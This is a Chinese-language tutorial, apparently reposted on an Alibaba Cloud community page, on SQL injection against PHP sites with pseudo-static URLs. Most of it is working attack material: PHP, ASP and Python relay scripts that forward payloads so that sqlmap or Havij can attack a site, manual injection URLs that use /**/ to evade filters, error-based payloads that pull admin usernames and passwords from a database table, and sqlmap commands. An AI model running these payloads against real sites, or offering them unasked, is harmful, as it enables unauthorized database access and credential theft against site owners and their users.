PHP針對偽靜態注入的解析

來源:互聯網
上載者:User
這篇文章主要介紹了PHP針對偽靜態注入,結合執行個體形式總結分析了php針對偽靜態常見注入情況,並附帶asp與Python的相關作業碼,對於php程式安全有一定借鑒價值,需要的朋友可以參考下

本文執行個體講述了PHP針對偽靜態注入。分享給大家供大家參考,具體如下:

一:中轉注入法

1.通過http://www.xxx.com/news.php?id=1做了偽靜態之後就成這樣了
http://www.xxx.com/news.php/id/1.html

2.測試步驟:

中轉注入的php代碼:inject.php

<?phpset_time_limit(0);$id=$_GET["id"];$id=str_replace(” “,”%20″,$id);$id=str_replace(“=”,”%3D”,$id);//$url = "http://www.xxx.com/news.php/id/$id.html";$url = "http://www.xxx.com/news.php/id/$id.html";//echo $url;$ch = curl_init();curl_setopt($ch, CURLOPT_URL, "$url");curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_HEADER, 0);$output = curl_exec($ch);curl_close($ch);print_r($output);?>

3.本地環境搭建PHP,然後訪問http://127.0.0.1/inject.php?id=1

通過sqlmap或者havj可以跑注入漏洞。

附錄ASP中轉代碼:

<%JmdcwName=request("id")JmStr=JmdcwNameJmStr=URLEncoding(JmStr)JMUrl="http://192.168.235.7:8808/ad/blog/"  //實際上要請求的網址JMUrl=JMUrl & JmStr&".html"    //拼接urlresponse.write JMUrl&JmStr    //我這裡故意輸出url來看'JmRef="http://127.0.0.1/6kbbs/bank.asp"JmCok=""JmCok=replace(JmCok,chr(32),"%20") JmStr=URLEncoding(JmStr)  response.write  PostData(JMUrl,JmStr,JmCok,JmRef) //url,查詢字串,cookie,referer欄位Function PostData(PostUrl,PostStr,PostCok,PostRef)  Dim HttpSet Http = Server.CreateObject("msxml2.serverXMLHTTP")With Http.Open "GET",PostUrl,False.Send ()PostData = .ResponseBodyEnd WithSet Http = NothingPostData =bytes2BSTR(PostData)End FunctionFunction bytes2BSTR(vIn)   //處理返回的資訊Dim strReturnDim I, ThisCharCode, NextCharCodestrReturn = ""For I = 1 To LenB(vIn)ThisCharCode = AscB(MidB(vIn, I, 1))If ThisCharCode < &H80 ThenstrReturn = strReturn & Chr(ThisCharCode)ElseNextCharCode = AscB(MidB(vIn, I + 1, 1))strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode))I = I + 1End IfNextbytes2BSTR = strReturnEnd FunctionFunction URLEncoding(vstrin)    //發包前對參數的url編碼一下strReturn=""Dim i'vstrin=replace(vstrin,"%","%25") '增加轉換搜尋字元,'vstrin=Replace(vstrin,chr(32),"%20") '轉換空格,如果網站過濾了空格,嘗試用/**/來代替%20'vstrin=Replace(vstrin,chr(43),"%2B")  'JMDCW增加轉換+字元vstrin=Replace(vstrin,chr(32),"/**/")  '在此增加要過濾的代碼 //這裡很關鍵,方便啊,把空格自動換成/**/,後面會說到的For i=1 To Len(vstrin)ThisChr=Mid(vstrin,i,1)if Abs(Asc(ThisChr))< &HFF ThenstrReturn=strReturn & ThisChrElseInnerCode=Asc(ThisChr)If InnerCode<0 ThenInnerCode=InnerCode + &H10000End IfHight1=(InnerCode And &HFF00) \&HFFLow1=InnerCode And &HFFstrReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1)End ifNextURLEncoding=strReturnEnd Function%>

二、手工注入法

1.http://www.xxx.com/play/Diablo.html
http://www.xxx.com/down/html/?772.html

2.測試注入:

http://www.xxx.com/down/html/?772′.html
http://www.xxx.com /play/Diablo'.html
http://www.xxx.com/play/Diablo'/**/and
/**/1='1 /*.html
http://www.xxx.com/play/Diablo'
/**/and
/**/1='2 /*.html
http://www.xxx.com/page/html/?56′/**/and/**/1=1/*.html 正常
http://www.xxx.com/page/html/?56′/**/and/**/1=2/*.html 出錯

3.看頁面是否存在差異,相同則不存在,不同存在注入。

4.聯集查詢:

http://www.xxx.com/play/diablo' and 1=2 union select 1,2… frominformation_schema.columns where 1='1.html
http://www.xxx.com/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html

手工注入法(二)

http://www.xxx.net/news/html/?410.html
http://www.xxx.net/news/html/?410'union/**/select/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),0x3a,(select/**/concat(user,0x3a,password)/**/from/**/pwn_base_admin/**/limit/**/0,1),0x3a)a/**/from/**/information_schema.tables/**/group/**/by/**/a)b/**/where'1'='1.html

註:

偽靜態注入和URL的普通GET注入不太相同

。普通url的get注入的%20,%23,+等都可以用;但是偽靜態不行,會被直接傳遞到到url中,所以用/**/這個注釋符號表示空格。

三、SQLmap方法

在sqlmap中偽靜態哪兒存在注入點就加*
http://www.cunlide.com/id1/1/id2/2
python sqlmap.py -u “http://www.xxx.com/id1/1*/id2/2″
http://www.xxx.com/news/class/?103.htm
python sqlmap.py -u “http://www.xxx.com/news/class/?103*.html”

四、python指令碼方法

代碼:

from BaseHTTPServer import *import urllib2class MyHTTPHandler(BaseHTTPRequestHandler): def do_GET(self):  path=self.path  path=path[path.find('id=')+3:]  proxy_support = urllib2.ProxyHandler({"http":"http://127.0.0.1:8087"})  opener = urllib2.build_opener(proxy_support)  urllib2.install_opener(opener)  url="http://www.xxx.com/magazine/imedia/gallery/dickinsons-last-dance/"  try:   response=urllib2.urlopen(url+path)   html=response.read()  except urllib2.URLError,e:   html=e.read()  self.wfile.write(html)server = HTTPServer(("", 8000), MyHTTPHandler)server.serve_forever()

以上就是本文的全部內容,希望對大家的學習有所協助,更多相關內容請關注topic.alibabacloud.com!

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.